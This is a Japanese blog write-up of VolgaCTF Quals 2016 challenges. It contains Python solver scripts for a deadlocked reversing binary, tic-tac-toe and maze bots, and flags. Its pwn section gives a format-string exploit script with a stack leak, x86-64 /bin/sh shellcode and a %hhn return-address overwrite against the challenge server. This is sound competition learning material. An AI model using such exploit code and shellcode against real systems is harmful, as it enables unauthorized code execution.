volgactf-qual-2016のwriteupのwriteupとか

先日あった,volgactf-qual-2016に参加したのでそのwriteupです。

解けたの

REV::broken

elfファイルが与えられるので解析する問題。
複数スレッドを立ち上げていて、ふつうに実行すると、30秒ほどして "The processing has taken too long, terminating the process..." と表示されて終わってしまう。
いろいろ見ていくと、中でセマフォ(鉄道の通票みたいな仕組み)を使ってスレッド制御をしていることがわかる。
よく読んでみるとおおまかに

th3(){ 0x400f40
	sem_init(0x603500,0,0);
	sem_init(0x6034e0,0,0);
	sem_init(0x6034c0,0,0); //セマフォの作成
	
	create_thread(f1);
	create_thread(f2);
	
	wait(34c0); //セマフォが解放されるまで待って、取っていく
	wait(34c0);
	
	なんやかや();
	post(3500); //セマフォを増やす
	post(34e0);

	wait(34c0);
	wait(34c0);
	
	なにがしか();
	post(3500);
	post(34e0);
	
}

f1(){ 0x400ed0
	for(;;){
		post(34c0);
		wait(3500);
		dosomething()
	}
}

f2(){ 0x4012c0
	for(;;){
		post(34c0);
		wait(3500);
		dosomething2()
	}
}

みたいなことをしているのがわかる。

はい、デッドロックに陥りますね。
おそらく、f1とf2が歩調を合わせて実行されることを想定して書かれているのだけれど、3500と34e00のセマフォがpostされているのに、どっちも3500のセマフォをwaitしているので3500のセマフォが足らなくなっている。

で、f1とf2のどちらかが34e00のセマフォをwaitするように修正してやればいいのだが、バイナリエディタでいじって実行するとなんでかプログラムが起動しなくなってしまう。(チェックサムかなにかに引っかかった?)

ので、gdb.executeとかで実行時にがりがり書き換えて実行してやる、とflagが出てくる。pythonは神。

import sys

gdb.execute('b *0x400b20')
gdb.execute('r')
gdb.execute('b *0x400f16')
gdb.execute('c')

for i in range(1,100):
	gdb.execute('set $edi=0x6034e0')
	gdb.execute('c')

#VolgaCTF{avoid_de@dl0cks_they_br3ak_your_@pp}

PPC::tic-tac-toe

三目並べを向こうのAIと2000戦して勝てというもの。
向こうのAIがわりと雑なので、こちらも雑なAIの実装で十分。(天元に対して辺に打ってはいけない、とかそういうとこまでしなくてよい)

import socket
import time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('tic-tac-toe.2016.volgactf.ru', 45679))

def get():
	s = sock.recv(1024)
	print "GETSTR:" 
	print s
	return s

def send(s):
	print "SEND: '" + s + "'"
	sock.send(s + "\n")
	time.sleep(0.01)

sor = [[0,1,2],[3,4,5],[6,7,8],[0,3,6],[1,4,7],[2,5,8],[0,4,8],[2,4,6]]

def retbes(dat):
	ns,ng=0,0
	for c in dat:
		if c=='X':
			ns += 1
		else:
			ng += 1
	if ns==ng:
		nc = 'X'
	else:
		nc = 'O'
	
	bes = (-2,-2)
	
	for p in sor:
		c = dat[p[0]]
		if c==' ':
			continue
		ok = 1
		for j in p:
			if dat[j]!=c:
				ok = 0
		if ok==1:
			print 'finished'
			return -2
		#print p,

	for i in xrange(9):
		if dat[i]!=' ':
			continue
		ne = 0
		td = dat[:i] + [nc] + dat[i+1:]
		
		nb = (-1,i)
		for p in sor:
			ok = 1
			for j in p:
				if td[j]!=nc:
					ok = 0
			if ok==1:
				return i
		
		for p in sor:
			ms = 0
			ts = 0
			for j in p:
				if td[j]!=' ':
					if td[j]==nc:
						ms += 1
					else:
						ts += 1
			if j==i and ms==1 and ts==2:
				nb = (0,i)
		
		if bes<nb:
			bes = nb
		#print td
		#return i
	print 'nbes .. ',bes
	return bes[1]

def getres(s):
	while 1:
		ts = s[-10:][:5]
		if len(ts)>=5:
			if ts[0]=='|' and ts[4]=='|':
				break
		if(len(s)<=0):
			print 'sleep'
			time.sleep(1)
		s = get()
	s = s[-61:]
	v = [1,5,9,25,29,33,49,53,57]
	dat = map(lambda i: s[i],v)
	print dat
	return retbes(dat)

print 'connecting'
get()
send('abeegegeg')
get()
while 1:
	r = getres(get())
	if r!=-2:
		send(str(r))


#VolgaCTF{tic_t@c_t0e_is_the_e@rly_step_t0wards_AI}

PPC::amaze

迷路と現在地が与えられるので自分を脱出させる問題。
[[0] * w] * h みたいに二次元配列を作ってはならない、のトラップにはまってしまって辛かった。pythonはダメ。

import socket
import time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('amazing.2016.volgactf.ru', 45678))

def get():
	s = sock.recv(16384)
	print "GETSTR:" 
	print s
	return s

def send(s):
	print "SEND: '" + s + "'"
	sock.send(s + "\n")
	time.sleep(2)


def getmap():
	i = 0
	ts = []
	rn = 0
	while 1:
		s = get().split("\n")
		for p in s:
			if len(p)==0:
				rn += 1
			else:
				rn = 0
			if len(p)>120:
				i = 1
				ts.append(p)
			else:
				if i==1:
					return ts
		if rn>=50:
			raise 'nmaybe i failed'

dd = [(2,0),(0,4),(-2,0),(0,-4)]
cs = ['d','r','u','l']

def gett((y,x),i):
	return (y + dd[i][0],x + dd[i][1])

def cango((m,h,w),(y,x),d):
	#print 'Q .. ',(y,x),d
	(ty ,tx) = gett((y,x),d)
	if ty<0 or ty>=h or tx<0 or tx>=w:
		return False
	if m[ty][tx]=='#':
		return True
	if m[(y+ty)/2][(x+tx)/2]!=' ':
		return False
	return True

def dfs(b,gone,(y,x)):
	if b[0][y][x]=='#':
		return ''
	if y+2==b[1] and x+3==b[2]:
		return 'r'
	#print gone
	if gone[y][x]:
		return None
	#print 'no..' , (y,x)
	gone[y][x]=1
	for i in xrange(4):
		if not cango(b,(y,x),i):
			continue
		t = gett((y,x),i)
		s = dfs(b,gone,t)
		if s != None:
			return cs[i] + s
	return None

def outgone(g,h,w):
	for y in xrange(h):
		s = ""
		for x in xrange(w):
			c = '##'
			if g[y][x]==1:
				c = '..'
			s += c
		print s
	
def resd(m):
	h = len(m)
	w = len(m[0])
	#gone = [[0] * w] * h python trap
	gone = [[0 for i in range(w)] for j in range(h)]
	
	
	for y in xrange(h):
		for x in xrange(w):
			if m[y][x]=='*':
				sy,sx = y,x
				
	'''
	print gone
	print sy
	print sx
	print gone
	exit(-1)
	'''
	print 'start',(sy,sx)
	gone[sy][sx]=1
	for i in xrange(4):
		if not cango((m,h,w),(sy,sx),i):
			continue
		t = gett((sy,sx),i)
		print 'tes ..',t
		s = dfs((m,h,w),gone,t)
		if s != None:
			s = cs[i] + s
			print 'ok .. ',s
			return s
	
	outgone(gone,h,w)


print 'connecting'
while 1:
	c = resd(getmap())
	send(c)

#VolgaCTF{eurisco!}

だいぶやったけど解けなかったの

PWN::web_of_science

論文登録サイトみたいなのが向こうで動いているのでそれをexploitするもの。

%sとかを打ち込んで試してみると、書式指定子攻撃ができると分かる。
(getsで入力しているのでバッファオーバーフローもあるのだが、カナリアがいるので今回はこちらの脆弱性は使えない)
で、何回でも書式指定子攻撃ができるのでスタックのアドレスをleakさせることができる。
あと、NXとかの対策がないのでスタック上のシェルコードも実行することができる。
よって、『スタックのアドレスをリーク』->『スタック上にシェルコードを仕込む』->『適当な関数での戻りアドレスをシェルコード上に移す』

とすれば解ける...はずだったのだけれど、なんでか手元ではうまく動くのに向こうではうまく動いていないっぽい。なんでや。(pwn系の問題のデバッグの仕方が分からないのでだれか教えてください...)

import socket
import time


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('webofscience.2016.volgactf.ru', 45678))
#sock.connect(('localhost', 8421))

def get(p=0.5):
	time.sleep(p)
	s = sock.recv(1024)
	print "GETSTR:" , s
	return s

def send(s):
	print "SEND:",s
	sock.send(s + "\n")

get(0.5)
send('a')
v = []
for i in xrange(10):
	while True:
		s = get(0.1)
		ps = s.split("\n")
		tps = []
		for p in ps:
			if p=='' or p[0:3]=='Alr':
				continue	
			tps.append(p)
		v += tps
		if len(v)>=2:
			break
	print v
	p = v[-2].split(' ')
	v = v[2:]
	a,b = int(p[0]),int(p[2])
	send(str(a + b))

get()
send('1')
get()
send('3')
get()

#leak stack

leak = ('%8$lx,')
send(leak)
get()
send('5')
#raw_input()
s = get()

s = s[40:52]

print s
shelp   = int(s,16) - 0x310
#staretp = int(s,16) + 0x8
staretp = int(s,16) - 0x488 #ints

#insert shellcode

print hex(shelp),hex(staretp)
def addtostr(add):
	res = ""
	for i in xrange(8):
		res += chr(add % 256)
		add /= 256
	return res

shc = ""
for i in xrange(8):
	shc += addtostr(staretp) 
	staretp += 1

#from momotech  http://inaz2.hatenablog.com/entry/2014/07/04/001851

shc += "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"

send('2')
get()
send(shc)
get()

#retadddr override

ove = ""
o2 = ""
nsp = shelp
sp = 0
for i in xrange(6):
	tp = nsp % 256
	nsp /= 256
	o2 += ('%' + str((tp-sp+0x100)%0x100) + 'c')
	sp = tp
	o2 += ('%' + str(i + 0x130/8 + 10) + '$hhn')

#o2 = ('0x%' + str(0 + 0x230 + 12) + '$x') + ('0x%' + str(1 + 0x230 + 12) + '$x')
ove += o2

print ove

send('3')
get()
send(ove)
get()
send('5') 
#raw_input()
get()
send('ls') 
send('pwd') 
get(3)
get(3)
get(3)
s = get(100)

宣伝

理論科学グループでは、CTFに関する技術を学ぶCTF分科会などもやっています。